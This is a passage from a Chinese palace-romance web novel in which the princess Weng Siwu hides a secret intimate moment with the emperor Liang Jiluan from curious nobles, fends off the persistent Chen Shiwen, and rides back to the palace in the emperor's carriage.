然而院内说话声越来越近,且不止一个人,与梁寂鸾抱着相拥吻的翁思妩当即慌了。
他们眼下一瞧就是不清白的,真要被人看见,那可就比选花娘还要热闹了,流言蜚语定然要传的沸沸扬扬。
讲不好听,都要误以为她一个异姓公主,抱着大不敬,在勾引一国之君。
脚步声渐近,陈诗问等人少说有十来个,纷纷打量头一次进来的暖玉阁,这院墙景致修建的比外面更精细。
下人道:“诸位公子,娘子,就是这里了,暖香阁与暖玉阁虽有一字之差,但建筑相仿,的确第一次来的人很容易认错。”
有明眼人仰望着阁楼,“好似门开着,是有人在里面?”
陈诗问打量一圈四周,没察觉出异样,“先上去看看。”
通向阁楼的只有一条路,楼道较窄,除此以外再无其他出路,同样要想从楼上下来也要经过这里。
以陈诗问为首,数十个人排着队走上台阶,将楼梯堵得死死的,整个暖玉阁都能感受到行走的动静。
到了最后一步台阶时,原先上去的竟然都开始慢慢往后退。
底下人不知发生了什么情况,直到陈诗问率领其他人退至原先停留的位置,在所有人的上方头顶,出现一道身影。
他丝毫未有停顿,脚步仿佛步步紧逼,底下一张张脸匪夷所思不可置信地仰视着他,直到梁寂鸾停下。
当中有人认出了他,“陛下?”
惶恐的声音一响,仿佛命里带来的,年轻公子们掀起顺从效应,神情各异,纷纷朝楼梯上的帝王跪下行礼,“竟不知陛下在此,实在唐突……”
陈诗织谨记上回教训,也早早跪了下来见礼。
等她抬头,才发现异样,陈诗问竟然还站着,与梁寂鸾面对面对视,她陡然一惊,拉扯兄长一把。
陈
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诗问是诧异又疑心地往梁寂鸾身后看去,未曾来得及踩上去的楼阁也瞥了一眼,“陛下是一个人在此?”
他终于肯跪下行礼。
梁寂鸾本就高,踩在台阶上犹如在明堂之上,面无喜色平静而冷淡地俯视朝臣。
如果刚才看得再仔细点,他们肯定能发觉他衣裳都乱了,但更多的,是注意力集中在他脖颈处缠绕的纱布上。
风一吹,好似能从中透出一点女子娇软的馨香。
陈诗问若有所觉地嗅了嗅,他在最前,碍于梁寂鸾的威仪,只能垂眸目视他的衣摆。
梁寂鸾:“你在质问朕?”
听语气察觉不出异样。
犹记得上次星虎苑的余威,陈诗问将姿态放得更低,“不,诗问不敢,诗问只是没想到这么凑巧,在这里能遇到陛下。”
梁寂鸾:“花萼苑年年有庆典,游乐司年年请朕到场,梁家祖训,历任帝王都要出席,你所谓的凑巧,就是在意外朕居然真的会来吗。”
花萼苑的举办就是为了为梁寂鸾寻找命定之人,实则经过好几代都没有结果,众人也就很玩味地看待这种庆典了。
但是没有人当真表露出来,即便身为帝王,梁寂鸾也并未抱过任何一丝希望。
陈诗问此刻言辞,无异于是在藐视这一规矩。
被当众抓住把柄,帝王的威慑如阴霾般笼罩在这群年轻子弟中的心头,有的已经露出褪去之意,不该莽撞行事,在此凑热闹的。
陈诗织在兄长背后神色不好,又想起来前两日才泡在湖里的一幕。
陈诗问也碍于他是这次叨扰了梁寂鸾的罪魁祸首,当即把头匍匐在地,“是诗问无礼了,还请陛下看在今日选花娘的份上,网开一面,切莫因此影响了心情。”
他终于学了乖,但好在梁寂鸾真的没有拿捏着他的把柄,再与陈诗问计较下去。
暖玉阁的路口忽而又来了一行人马,丁松泉带着下属匆匆赶来。
陈诗问对这对主仆感觉瞬间更加不好了,连眼下翁思妩不见了的事情都想不起提及。
他悄然抬眸看了眼阁楼,既然梁寂鸾在此独处,禁卫统领又才赶来,那么这里应当除了他再无别人。
他打算在避免纷争的此刻,带着陈诗织等离开。
可就在他张口的一瞬间,阁楼上忽地发出声异响,像是在提醒在场的诸位,原来不是梁寂鸾一个人在此歇息。
动静之后,鸦雀无声的静谧,为帝王的私行顷刻披上神秘的猜疑。
外头的选花娘的活动举行的热火朝天,本该出现的梁寂鸾,会与谁在此小聚?
16.第 16 章
“出去。”
梁寂鸾发令,后悔闯入这里的每个人都毕恭毕敬低着头往后退。
陈诗问也在其中,只是临走前,丁松泉从他身旁经过,陈诗问听见这位同样不是善茬的统领向梁寂鸾道,“陛下,臣有事禀告……”
“芙徽公主她,不见了。”
陈诗问偏着头回望,年轻帝王听着下属禀告不见一点忧色,二人身形都是高大儿郎的类型,而梁寂鸾因为梁家血脉的特殊性,不管是身量还是相貌都远超常人。
盎然的绿意做景,正在说话的主仆象征了权贵天威,倏地梁寂鸾幽漆的目光如箭一般射过来。
陈诗问莫名感觉像被镜子照了一下,竟难以再承受这样的视线,快步消失在院门边。
丁松泉将来时听到的情况禀告给梁寂鸾听,这事不小,如果找不见人,桂宫那边可不好交代,陈太后定然会责怪下来,借此发威与天子为难。
丁松泉都可以想象出届时陈太后一方的言辞。
无非就是责怪游乐司举行庆典不利,花萼苑的护卫不行,表面看骂的是底下人,实际上,焉知是不是在内涵这两个机构背后的主人呢。
“陛下?”
丁松泉自认已将事情都如实陈述,为何天子还眼也不眨,如同并不关心在乎的样子。
梁寂鸾淡淡收回余光,喝令下属,“噤声。”
他在院门处再见不到任何一个影子后,转身向楼梯上走去,丁松泉愣了下,很快跟上。
察觉背后的动作,梁寂鸾仅是扫了他一下,并未有阻止的意思,任由丁松泉跟在身后,直到他们在一处房门前停下。
梁寂鸾终于发话,“你在此处等。”
他蓦然推开门,就在关上的那一瞬间,足够丁松泉看清里面的情形。
他似乎终于发现帝王的衣裳为何跟他之前所见到的略显不同,眼孔大睁,看到了屋内凌乱软榻上的一道身影。
引发了甚嚣尘上的主角竟然出现在此,无怪乎,他怎么与帝王描述公主失踪一事,帝王都显得云淡风轻。
原来,芙徽公主就在此。
刚刚进去的陛下,倒成了唯一的入幕之宾。
陛下和公主?!
刚刚震惊不已的丁松泉瞬时又反应过来,芙徽公主怎会与陛下在一起,这,这岂不是乱套了!
房门紧紧闭上,梁寂鸾的声音从背后传出,“传下去,芙徽公主因在花萼苑迷路,已经找到了,无需再引起不必要的恐慌。”
“是,是。”
暖玉阁里,一切摆设都颠倒不堪,唯独软榻上一方安好。
翁思妩说是帮忙,到最后最神志不清的居然是她,她想起来自己是如何抱着梁寂鸾回啃的,已经不敢睁开眼面对走到身前的年轻帝王了。
他们在一起的事,有没有被发现?
刚刚来的那批人中,会不会察觉出端倪,知道她在这里?
梁寂鸾……他会不会说出去?
脚步声停下,纤瘦的女娘有所察觉,蜷缩在软榻之上,一动也不敢动,唯独那张娇艳的面容上,秀眉微蹙,凝聚着面临危机的不安。
仿佛只要她不睁眼,就能掩耳盗铃的不用面对这一切。
然而,对方似乎一眼察觉出了她的假动作,“翁思妩。”
帝王的声音响起,她不敢应。
小手悄然攥紧衣角,心跳快的要蹿出胸脯。
冷不丁的,一句“太后来了”。
翁思妩当即吓得花容失色,眼皮控制不住掀开,入目的却是明晃晃的秀仪俊颜。
屋内对外开了半扇窗,光影泄露进来,哪里有陈太后的身影。
翁思妩立时神色一变,明白过来梁寂鸾是故意吓她,娇艳的面容上显露几分埋怨委屈。
翁思妩:“阿兄,为何吓我?吓破胆了,怎么办?”
她不知之前第一个质问梁寂鸾的已经磕头谢罪了,还在理直气壮,眼神控诉地望着他,整一个娇气娘子,跃跃欲试他对她的包容有多少。
梁寂鸾心中对今日发生的事已有了一个章程,他回应翁思妩,“你能在朕的榻上呆这么久,胆已经不小了。”
他提醒眼下他们的处境,让翁思妩哑口无言。
她内心思绪万千,他们现在,算什么呢?
翁思妩抬眸悄悄窥视梁寂鸾,他已经不像之前那样满身都是狂躁之气,突然发病,又突然好了。
梁寂鸾整理着衣着,就像无事发生一样,“过会,朕会让你的婢女过来接你回去。”
这般姿态,莫名令
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感觉讨厌。
翁思妩松开轻咬住的嘴唇,她倏然娇声道:“今日,陛下不会怪罪我吧?”
梁寂鸾不提,她却是要提的,不想南柯一梦,更不想任由他掌控局面,随意拿捏。
面前的人没有回话,气氛兀地变得很是清寂。
“刚才外边的人都是谁,他们可有知道我在这里?”
翁思妩:“我适才听见有人在园子里说话……陛下回来一句话都不曾跟我有交代,我也怕我俩的事会暴露出去,要多打听才行,不然心里也不安静。”
她低垂着眼眸,如同在使小性子,其实什么都瞒不过旁人眼底。
梁寂鸾扯了下唇,答非所问:“那你是想让人知晓你在这,还是不想呢。”
翁思妩:“当然是不想了,阿兄跟我……成何体统。”
隐去中间不说,他们应当都能领会到翁思妩指的是什么,梁寂鸾装糊涂人,翁思妩又岂会让自己失了仪态,斤斤计较。
她反省自己刚刚为何会不悦,应当是,她帮了帝王的忙,不期望他会为了冒犯她而道歉。
但也不该是如此云淡风轻的态度,装没发生过吧?
梁寂鸾:“既然你不想,那就不会有其他多舌的人知道。”
怎么又变成了是她不想了,难道梁寂鸾就没有一点点想法吗?
翁思妩眨着眼眸莫名其妙盯着梁寂鸾,他俨然将她神色变化洞察于心,眼神幽亮,侵略性很强,令翁思妩禁不住左右环顾。
跟他一对视她才发现,他一直都在看着她。
翁思妩仿佛还能感受到那目光游弋在她身上的感觉,“朕会替你保密。”
梁寂鸾稳操胜券,沉稳地说:“不会将今日的事抖露出去,同样也不会告诉太后,你可以放心,你的清誉还在,对外,朕不会让它伤及半分。”
事态的受害者一下变成了翁思妩,需要帮助的人是她,而不是梁寂鸾。
她目瞪口呆怔愣在软榻上,想不通怎么会有人这么巧如舌簧,一下更换了事件性质的对象。
带着一副为她着想的模样,梁寂鸾随即朝外吩咐了一句,“去把人带来。”
梁寂鸾:“后宫无妃嫔,朕没有随身携带女子衣物,也不会挽妆,就让你身边的婢女侍候你。”
17.第 17 章
默秋被带到翁思妩身边时,她脸色稍显惊惶,直到见到翁思妩的人,确认她安然无恙才缓和下来,不再那么恐惧惨白。
只是她对翁思妩在暖玉阁的事感到无比疑惑,“娘子怎么在这里,而且,还与陛下的人……”
她回头往屋外看了眼,那都是守卫在附近的侍卫,是御前的人马,与花萼苑的有根本上的不同,品级不仅要高,武力和威严也更深更重。
梁寂鸾已经不在这里,他交代了一些事宜,向翁思妩保证了不会让人知道他们之间发生过的细节,更不会让外界议论玷污了她的清誉,就施施然整理好仪容走了。
此刻的暖玉阁除了侍卫,就只有她们主仆二人。
默秋赶紧检查翁思妩的衣衫,“娘子有没有怎样?”
翁思妩:“我本想去暖香阁的,却不小心走错路了,一直在这附近打转,直到遇见陛下。”
在默秋来之前,翁思妩已经将自己整理过一遍。
梁寂鸾走得云淡风轻,翁思妩也不想落了下风,她也要收拾得浑然不在意般。
就是妆容和发髻需要重新梳整一下,“默秋,那里有胭脂水粉,还有梳子,你来为我打扮打扮。”翁思妩道。
默秋:“是。”
屋子里其实一团乱,默秋很好奇为什么帝王会将翁思妩安排在这里,如同发生过乱斗。
翁思妩顺着她视线望过去,如实说:“这里乱糟糟的,我来之前就已经是这副模样了。”
默秋不禁抱怨:“那为何不给娘子安排个干净的地方,这实在是难以下脚。”
翁思妩仰头道:“那是因为他病了。”
默秋对上翁思妩的目光,微微愣住,他是谁?难道是陛下?
娘子为什么会突然帮着对方说话?好像在他们都不知道的地方,事情悄然发生了转变。
端看翁思妩的神情,默秋已经瞧不出异样了,只觉得当提及一国之君时,她家娘子的眼神有点怪。
有点嗔又有点怨,就是没有往日的那种畏惧慌乱了。
芙徽公主被找到了,花萼苑内少数知情的人终于不用再着急,气氛也稍稍缓和许多。
翁思妩收拾好自己才出去与其他人汇合。
等她到时,翁思妩发现这次忽然多了许多不认识的人,还有陈诗问竟然也在当中。
她不见,最着急的当属焦家的娘子了。
焦衷耳:“芙徽公主,你没事吧?我底下的婢女说你不见了,当真快把我吓坏了。”
翁思妩顶着众人观察打量的目光,和往常没什么两样,说道:“让诸位担心了,我头一回来这边不熟,适才迷了路,这才耽误了这么久。”
她委婉道谢给大家添了麻烦了,其他人都好声安抚,“芙徽公主不必愧疚,花萼苑这么大,你人生地不熟,会走失倒也正常。”
“不过身边最好有人在,不然这人多眼杂的,万一冲撞到你就不好了。”
站立在众人当中,陈诗问带着笑遥遥向翁思妩看过来,“公主是在哪里迷路的,怎么我们大家寻了这么久,之前也是在暖玉阁附近,怎么都碰不到你呢?”
陈诗织附和,“是啊阿妩,你到底去了哪里啊,让我们一顿好找。”
陈诗问好像一定要逼问个所以然出来。
翁思妩感觉颇为奇怪,上回宫中结下的梁子,她跟陈诗织已经清算,但这位陈公子好像心眼特别小,他妹妹都不记在心上了,他却还借着劲儿在这找她的茬儿。
说是不能真说的,翁思妩跟梁寂鸾在暖玉阁发生的一切,不仅是她,就是当天在那里的侍卫们都必须遗忘个干净。
不然传出去,都要说他们乱了纲常。
惹人非议。
翁思妩:“具体我也不记得了,地不熟,只知路很绕,景色又复杂,名字都想不起来。陈公子若是好奇,不如自己再去瞧一瞧。”
陈诗问:“阿妩别急,我不过是关心你,免得遇到坏人,对了,你可有在那里遇到其他什么人?”
翁思妩皱眉,难道陈诗问发现了她跟梁寂鸾在一起?
这不可能的,她明明在屋内,梁寂鸾出去后也只有带身边禁军统领来过,陈诗问不可能知道他身边的人是她。
只有他是在打听,梁寂鸾身边有没有其他女子……
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毕竟后宫无妃嫔,陈太后管不了帝王的私事,若真有女子接近梁寂鸾,陈诗问作为陈家人,肯定要将消息传回去,以作应对。
想清楚后,翁思妩憨真地摇了摇头,道:“没有,我是在路上呼救,被丁统领的下属侍卫发现了,这才将我带出来。”
陈诗问颇为可惜道:“那真是虚惊一场了。”
陈诗织:“既然没有大碍,那就散了吧,去瞧瞧花娘得出结果没。”
“走吧走吧,各处园子热闹着呢。”
在陈诗织的呼应下,大家不再围在这里闲谈。
翁思妩身边来了个人,一抬眼,竟然是陈诗问,不仅没走,还离得她很近。
陈诗问:“阿妩妹妹。”
翁思妩:“陈公子?”
陈诗织少年形象,如那特意来讨小娘子欢心的少年郎,有意贴近翁思妩,眼神含情地看着她,“我说,你没必要如此疏离吧,宫中我们不是相互认了亲戚?我叫你阿妩,你怎么还公子公子的称呼。”
年少的身影凑成一双,远看着好似一对璧人。
不曾走远的公子小娘们偶尔回头,发现这一幕,一个传一个,登时流言四起。
假山后,被树木遮掩的廊檐下,有人立在空地处对着一群少年男女的方向凝望。
端看再被接近后,少女是如何羞涩不适地避让。
眼眸中的情绪幽深如潭底,梁寂鸾脖子上纱布已经解开了,被攥在手里。
不管翁思妩是不是因为陈太后而故意接近他的,至少是有一点成功的,梁寂鸾摸了摸之前被香润的触感沾湿的嘴唇。
眸光变得很深很暗,唇齿相依的津液产生作用,他的发热症状没那么不可控制了。
翁思妩的香吻堪称仙丹灵药,足以顶替徐钰的功劳了。
梁寂鸾:“去查查翁家的家史记录,历年翁家人的情况,有无特殊异常。”
丁松泉不声不响在帝王背后等候良久。
幸而没有立即就走,只听威严的声音轻缓道:“尤其这位翁娘子,这十六年来,足不出户,翁校仲护她护到死,又怎么轻易舍得她进宫。”
18.第 18 章
台上花娘的评选接近尾声,据说已经选出十位大众都觉得香气袅袅,相貌出众的娘子。
薄云园出了两位,赏菊园一位,还有清悦园杜仲园等,皆有所出,事后这些娘子都会被送到宫里再请梁寂鸾过目。
既然如此,有人高兴自然有人忧愁,焦家娘子不曾被选上,很是失落又伤心的模样,暗暗抹了几次泪。
被人瞧见,软声安慰,“不就是没中选,花娘年年都办,一次不中,明年再试一次不就行了。”
“我就说你得玩点小花样,多抹点胭脂水粉,你瞧采桑园的一个娘子,听说她给自己发钗涂了花蜜,招来了蝴蝶,身上又擦了香,这才被选上的。”
“嗨,那是她运气好,用了手段放了自己找的蝴蝶出来,得亏不是蜜蜂。”
“万一盯个满头的包,我看她还怎么中选?!”
一群娘子讨论这日选花娘们的女子的手段,层出不穷,各个都有新意,大家好似也见怪不怪。
焦衷耳被哄得发笑起来,“谁要跟她们似的玩那些不入流的手段,我才不稀罕!”
“是是是,你且不过是来陪她们玩玩罢了,只是这次没中选,可就失去了一次面见圣上的机会了。”
“这样,你也甘心?”
在议论纷纷的杂音里,翁思妩盯着被包围的焦衷耳看了许久。
陈诗织站在她身旁,留意到她的目光,解说道,“你在看焦娘子?她可是仰慕你我的那位高高在上的表兄已久,做梦都想嫁他。”
“可惜自从他继位后,后宫中一直无妃嫔竞选,听说他也无意将功夫花在女色上面,以至于朝中上下都在担心后宫会无所出。”
“不知道这般情况能持续多久,大梁江山总要后继有人吧?若是一直不纳娶,恐怕姑母会替他做主,直接臻选良家子。”
“到时候,焦娘子应该能入宫陪伴圣驾,就看她等不等得起。”
耳边其乐融融,欢声笑语,翁思妩扭头对说了一大堆的陈诗织道:“你跟我说这么多做什么?”
陈诗织面露茫然,“这不是瞧你不了解内情,我说说怎么了?”
也不知哪里惹了翁思妩不高兴,等等,她竟然也会不高兴?
直视着陈诗织,翁思妩面若脂粉的脸上透着淡淡的不悦,“嫁娶之事,我还不想听,你不要再说了,小心我告诉焦娘子,说你背后非议她。”
简直没见过这样难搞的小娘子。
陈诗织神色愕然地瞪着翁思妩,“这有什么的?婚嫁之事,怎么就说不得了,难道你一辈子不嫁?”
翁思妩扬声:“焦娘子,陈娘子她——”
陈诗织赶紧去捂翁思妩的嘴,却被这身形娇弱的小娘子给躲了,细细瘦瘦的,却不想行动起来竟也那么敏捷。
如有眉飞色舞,翁思妩得意地挑起秀眉,她是从小身体不好,但那也是因为一个月总有那么几日,除了发病时不舒服,生得比其他人都纤瘦些,身上可没有什么大病。
人群中心:“芙徽公主,你方才是不是唤我?有什么事?”
陈诗织表情挫败,双手叉腰盯着她,“不提就不提,你敢说,我定要入宫向姑母告你一状。”
翁思妩冲焦衷耳淡淡一笑:“无事,陈娘子让你别气馁,她祝你下回一举夺魁。”
在焦衷耳过来前,翁思妩再没了留在花萼苑逗留的心思,“天色不早,我先回宫了。”
陈诗织挽留:“哎,宫禁可没那么早关门,你当真不再与我们一块儿聚聚?别走啊,我让我二哥送你……”
翁思妩对她的招呼置之不理,拉上默秋便从亭子里离开。
熟知翁思妩性子的默秋一瞧就知眼下自家娘子心绪不佳了,只是她跟陈诗织一样,暂且不知她为何会不高兴。
刚才的话她也有听,不过是陈娘子提到焦娘子跟陛下,还有宫中妃嫔等事。
就这样娘子就是这种反应了,着实让人觉得奇怪。
身为一国之君,梁寂鸾身边没有女人,堪称是种奇迹。
是没有遇见他所中意的女子,还是没找到梁家需要的花娘?
这次选花娘,有十位娘子胜出,说是还会面圣,梁寂鸾会看上她们当中哪一位吗?
还是说,真的看上了,会把跟她在一起的时候做的事,再做一遍?
一想到这种可能,翁思妩脚步显而易见凌乱几分,越走越快,让身旁紧跟着的默秋惊疑不已。
翁思妩也不知自己为何会在意这个问题。
从旁观其他娘子对梁寂鸾的爱慕起,她就有些过分分神,仿佛徒然生出一股从未有过的占有欲。
她们见过的帝王有几面?对那个可恶的人了解多少,她们……
会知道他发病起来,对她是如何揉捏,几近折了她的腰,事后却说,“知道你也不想让外人知晓,那就装作什么都不知道。”
轻薄了她,却佯装的无事发生,怎么就不可恶呢?!
越想越气的翁思妩生平第一次涌起这样的激烈情绪,一直红到脸若红霞,出了花萼苑,还要被人拦住去路,她也视而
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不见,“默秋!默秋!”
翁思妩喋喋叫唤着婢女,快将她讨厌的人引开。
陈太后待她不错,悉心关怀,人很好,但不是每个陈家人都讨人喜欢。
事到如今,再看到陈诗问,翁思妩已不觉得是错觉,她好像真的被这个人给缠上了。
也当真是莫名其妙,不过两面之缘,陈诗问就如猫见到耗子,紧缠着她不放,“阿妩妹妹,你躲我做什么?”
陈诗问:“方才有熟人唤我,才从你身边离开,难道就这一会,你就不认得我了?何必这样生疏。”
翁思妩被他拉扯到衣角,为妨摔倒,当即停下步履。
少年公子言笑晏晏,一副得逞之相看着她,“阿织说你这么早就要回宫,你路不熟,未免再迷路,我再送送你怎么样。”
翁思妩极少见到这样厚脸皮之人,陈诗问或许觉得她傻,以为她当真窥探不出他这般行动的含义吗。
不就是记恨她得罪过他,于是想方设法对她进行戏耍,若是真的中计了,可有翁思妩好苦头吃。
翁思妩:“陈二公子是觉得我好戏弄吗?”
陈诗问诧异看着翁思妩冷脸,“阿妩妹妹在说什么,是不是对我有什么误解?我对你是关心爱护都来不及,又怎会戏弄你呢?”
“莫不是你太害羞,才造成这样的误会。”
翁思妩:“所以你就拦我去路?关心爱护要有人需要方才情真意切,不要的,通通归于骚扰。”
翁思妩抬起小脸,有了几分咄咄逼人之气,质问道:“陈二公子,你扯我衣角,授受不亲,我婢女阻拦你不及,是不是可以认为你方才在骚扰本公主?”
“你这样,我可要问问你的师长,教你读了些什么圣贤书。”
倏地,不等陈诗问回话,当前有轻笑声响起。
翁思妩和陈诗问一同向笑声传来的位置望去,隔着几步之遥的距离,梁寂鸾和禁军统领的身影落入翁思妩的视野。
在他们身旁站立着杀气重重的侍卫,门外就停着张抹了漆的高大御车。
除了丁松泉,翁思妩并未看清梁寂鸾的神情,他侧着身,似乎是被这边动静给吸引,才半路停下。
直到丁松泉朝翁思妩开口,“芙徽公主,陛下命我传话于你,可是要现在回宫?是的话,就与他同乘一张御驾。”
“不是的话……”
丁松泉如在忍笑,梁寂鸾终于屈尊降贵肯微微回头,那双清润微凉的眼眸中,看翁思妩跟陈诗问的眼神似乎多了丝玩味在里面。
19.第 19 章
梁寂鸾:“跟朕走,还是让护花使者送你回去。”
翁思妩当即回应,“等等我!”
一回想,她竟对自己的迫不及待感到憋气,于是将埋怨都发泄给一旁不知趣的陈诗问身上,“我才不要跟他一起!”
曾在翁府时,翁父还没死,翁家上下被打理得有条有序,忠仆几许,守着规矩。
整个翁家就她和翁父两个主子,气氛和悦,家风清正,底下的下人也不怎么生事,家生的良家子渐渐多了起来,年轻胜过一代。
气盛顽劣的年轻小子是怎样为了博取关注,戏弄其他娘子的,翁思妩记忆中的景象历历在目,她岂会不知陈诗问对她抱着怎样的心思。
说戏弄,简直一模一样,才不会认为有一点真心在里面,不过是一时来了兴趣。
都以为她天真不知世故,只不过是她不说,各给彼此几分脸面,然而陈诗问不懂她的体贴,她也就不顾什么体面。
生怕梁寂鸾就这样迈出门槛,翁思妩扯回自己的衣角,示意默秋跟上,急急向御驾的方向追过去,“阿兄等等阿妩。”
丁松泉望着仿若蝴蝶扑过来的窈窕娇影,忍不住抬手想去接,“哎……芙徽公主,慢些。”
梁寂鸾转过身来,漆暗的眼睛像一记定身符落到翁思妩身上,她没来由的逐渐放缓脚步,由急切到慢慢走,一步一步靠近那象征尊贵和威严的队伍。
翁思妩:“阿兄……”
梁寂鸾顺着她背后的方向,扫了眼变得颇为无趣的陈诗问,对翁思妩懒懒一应,“嗯。”
走近后才发现梁寂鸾脖颈上已无纱布,倒是有一点红痕吸引了翁思妩的目光。
暖玉阁里,差点擦枪走火、意乱情迷的画面在脑海浮现,生怕梁寂鸾咬她脖子,翁思妩不仅主动献吻不说,还故技重施,宛若刚出生的小兽,对着帝王散发迷人气息的脖颈啃咬。
也许这点红痕就是那时候留下的吮痕,只是不知梁寂鸾为什么选择不再遮挡。
脸上再次出现红晕,这次视线停留良久,引起了梁寂鸾的注意。
翁思妩眼神飞快闪躲,“阿兄,要,要走吗?”
或许之前的梁寂鸾很可恶,但比起心存捉弄她的陈诗问,此刻稍显冷淡的他无异于帮她拜托麻烦的救星。
故作清高,也比,也比讨人嫌的男子好。
猜不出他在想什么,梁寂鸾终于有了新动静,他对翁思妩道:“把手给我。”
翁思妩心思还在乱飞,“什么?”
旁边离得最近的丁统领已然支起耳朵,脸上五颜六色,用了极大的耐力才克制将目光投到帝王身上去。
“手,”这回字正腔圆地表露出来,梁寂鸾悠然地勾起唇角,“没听清吗?”
翁思妩迟缓地将手伸出来,眉宇间还流露出一丝无辜迷惑,下一刻,属于梁寂鸾的衣袖和她混合,滚热的触感盖住她的手背。
不光翁思妩惊了,不远处凝望着这一幕的陈诗问也变了脸色。
从未见过梁寂鸾同谁这么亲近过,是表面做戏,还是真当异姓公主是他阿妹?
梁寂鸾:“走了。”
“是。”表情更加精彩的丁统领近乎咬紧腮帮,才能阻止神情上的异变,从暖玉阁到花萼苑的大前门,简直一惊再惊。
翁思妩怔怔地跟着梁寂鸾走,想不通,才仰头痴痴观察他。
俊秀分明的眉眼目视着前方,没有一丝一毫动摇地带着她向前,掌心的温度时刻提醒着翁思妩不是做梦。
可是为什么,会突然要牵她的手?
仿若她不会走路,梁寂鸾领导着她跨过门槛,来到御驾旁。
花萼苑分东南西北四个方向,以东为尊,寻常人家都是西进西出,稍微尊贵些的便从南向出口进入。
梁寂鸾的御驾主要还是在东边,这里除了他,暂且没有其他人来。
翁思妩从踩着小凳上车,到梁寂鸾进来一如做梦一样。
窗门关闭后,周围的人声都排除在外,车内安静如许,梁寂鸾跟她的手也早就已经分开,二人各坐一旁。
梁寂鸾依旧是坐主位,翁思妩上舆车后对环境不熟悉,安分守己地选了个梁寂鸾手下的侧方位乖分待着。
不是第一次独处一室,却又格外不同。
刚才她第一个上来,翁思妩后知后觉才想起好似有人倒吸了口凉气,按照规矩,她身份是不能先行的。
但是被梁寂鸾牵着,翁思妩大脑一片空白,将往日里学的规矩全都忘了,想不起一点。
可是,这个人还是纵容了她,甚至是有意的,把她先送上了御驾。
为什么呢?被梁寂鸾的举动弄迷糊了,翁思妩脑袋瓜里从未有那么多的疑问。
父亲在世时,满腹经纶,博才多学,总会不厌其烦为她解答。
孤身一人时,身边还有默秋能说说话。
可是此刻,默秋不能陪伴身边,也就无人能为她解惑了。
翁思妩毫无意识
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地看向梁寂鸾,人影即使在舆车中依旧不显逼仄,身形反倒有种说不出的雍容颀长,随性雅逸。
这么出挑的帝王,难怪会引傲气的世家贵女争风吃醋。
这一面,除了她,还有谁能看见?
不过想想,翁思妩还没转移视线,在对面梁寂鸾就已留意到她的目光,眼眸如同会溢彩的流光,转瞬即逝,深深地与翁思妩回视。
梁寂鸾:“你在看我?”
如同抓住了她的把柄,含情的嗓音温淡地重复提及,表达疑惑,“做什么盯着朕?”
翁思妩微微耳热,是不用碰都能发现烫手的程度,帝王威仪有梁寂鸾在前,与她今日所见的世家公子有着本质上的区别。
但她不会讲出来,能说出无事发生的可恶之人,她不能再让他傲气凌人。
翁思妩寻了个借口道:“阿妩是想多谢陛下方才解围。”
梁寂鸾:“解围?”
梁寂鸾似乎很是玩味这一说辞,仿佛他并不认同翁思妩这一说辞,专注地凝视着翁思妩说:“是你不能为之应对,束手无策方称之解围,朕什么都没有做。”
“这样,你也要感谢朕?”
一个陈诗问,翁思妩年纪虽小,却完全能够应对。
她不是毫无对策。
翁思妩轻轻咬住下唇,唇瓣颜色被她贝齿染深,“他很讨厌,是陈家的嫡公子,姑母对他颇为看重,不看僧面看佛面,不宜斥责太过。”
梁寂鸾目光不知落到哪儿,好像顺着她的动作往下,定在嘴唇。
然后又若无其事地朝翁思妩看过来,极为浅淡地笑了下,“是这样吗?”
翁思妩疑惑地眨了眨眼,难道不是?
在短暂的沉默过后,每个字好似从梁寂鸾薄情诱人的舌尖滑过。
翁思妩看见他直视自己,俊眸泠泠如犯寒气,话语却清淡柔和,“你是公主,他连一介人臣都不是,你教训一下他,有何不可?”
“这是天大的赏赐,不是责罚。”
梁寂鸾的神情和语气宛若化作一丝热流灌入翁思妩的身体里,心脏像脉动一样。
翁思妩追问:“阿兄也会为我做主吗?”
讨巧的问题喻义非凡,充满暗示,梁寂鸾一话不说看着翁思妩,哪怕没有回答,但眼神已经说明了一切。
她是赖上他了,从星虎苑的引诱破禁,到暖玉阁的活色生香,唇舌勾缠,翁思妩正以常人无法想象的速度一步步向梁寂鸾靠近。
20.第 20 章
之后的御车内气氛一直处于微妙阶段,主要来自于一个人偷偷把目光撇开的翁思妩,侧脸转到梁寂鸾看不见的地方,只留半个后脑勺给他。
为了掩饰心中不由自主地雀跃,夹紧了腮帮,紧咬起下唇,翁思妩心脏都要跳出来了。
连背后的耳根红透了都不知情,秀颀的脖颈暴露在后面之人的视野,很细很嫩,令人想上手捏,对着皮上的细肉留下深浅不一的咬痕。
梁寂鸾还注意到翁思妩搭在腿上的手腕,上回就见过那副手镯,不想竟得了她的喜欢,这是第三次见她戴着了。
从花萼苑到宫廷的路御车行了半个时辰,出乎所有人预料的是,这次不是帝王一个人回来的,他身边从未有过女子伴行的身影。
宫人前来接驾时,起初还误以为今日直接从花萼苑带回来的娘子。
然而等到那双纤纤玉手露出来,搭着婢女从御车上下来时,那娘子一出声,惊动了周围的所有人,“阿妩多谢阿兄一路照顾。”
纵使他们屏息低头,恪守规矩,盯着那道娇柔声音的脚下还是认出了她。
什么时候,新来的公主竟与一向不近女色的陛下搭上了关系。
更重要的是,这位还是太后的人。
御车并未停到陈太后那边的宫门之内,而是以梁寂鸾为尊,出现在了他的寝宫永安宫。
翁思妩站在陌生的地界,忍不住打量起周围的环境,帝王殿宇在后宫之中与妃嫔所住的还是有很大区别,更恢弘堂皇一些。
梁寂鸾长身玉立在翁思妩跟前,“你自己回去?”
从永安宫到桂玉宫还有很长距离,翁思妩自知打扰梁寂鸾这么久了,他应当有自己的事要忙。
翁思妩乖巧点了点头,显得过分柔顺,“劳烦阿兄了,阿妩这就告退。”
梁寂鸾没发话,淡淡目送着翁思妩从他面前行礼走开。
后背一直有视线仿若黏在身上,翁思妩走着走着脚步便不由自主地僵硬。
过了好一阵,离开永安宫的范围,确定梁寂鸾再看不到自己,翁思妩停在树影遮挡处轻轻松了口气。
默秋在旁观测许久,亲眼所见她家娘子和陛下是怎样相处的,心中早已心生震撼。
现在终于趁着无人的时候问及,“陛下好像待娘子与旁人有所不同?”
默秋:“娘子在陛下跟前,也不大一样。”
翁思妩闻言一愣,都说旁观者清,不是默秋说,她自己竟丝毫不知道。
翁思妩感觉面热,反驳道:“哪里有差异?他是我认得阿兄,与我没有龃龉,看在这些情面上所作所为不过出于礼仪,哪有特别多少?”
默秋不过是说出自己旁观后的想法,熟料翁思妩会激起翁思妩的反应,她一时噤声不语,免得驳了娘子的面子。
翁思妩也不管婢女是如何看自己,她年轻遇到的事少,入宫后遇到与梁寂鸾相关的经历才不由多了起来。
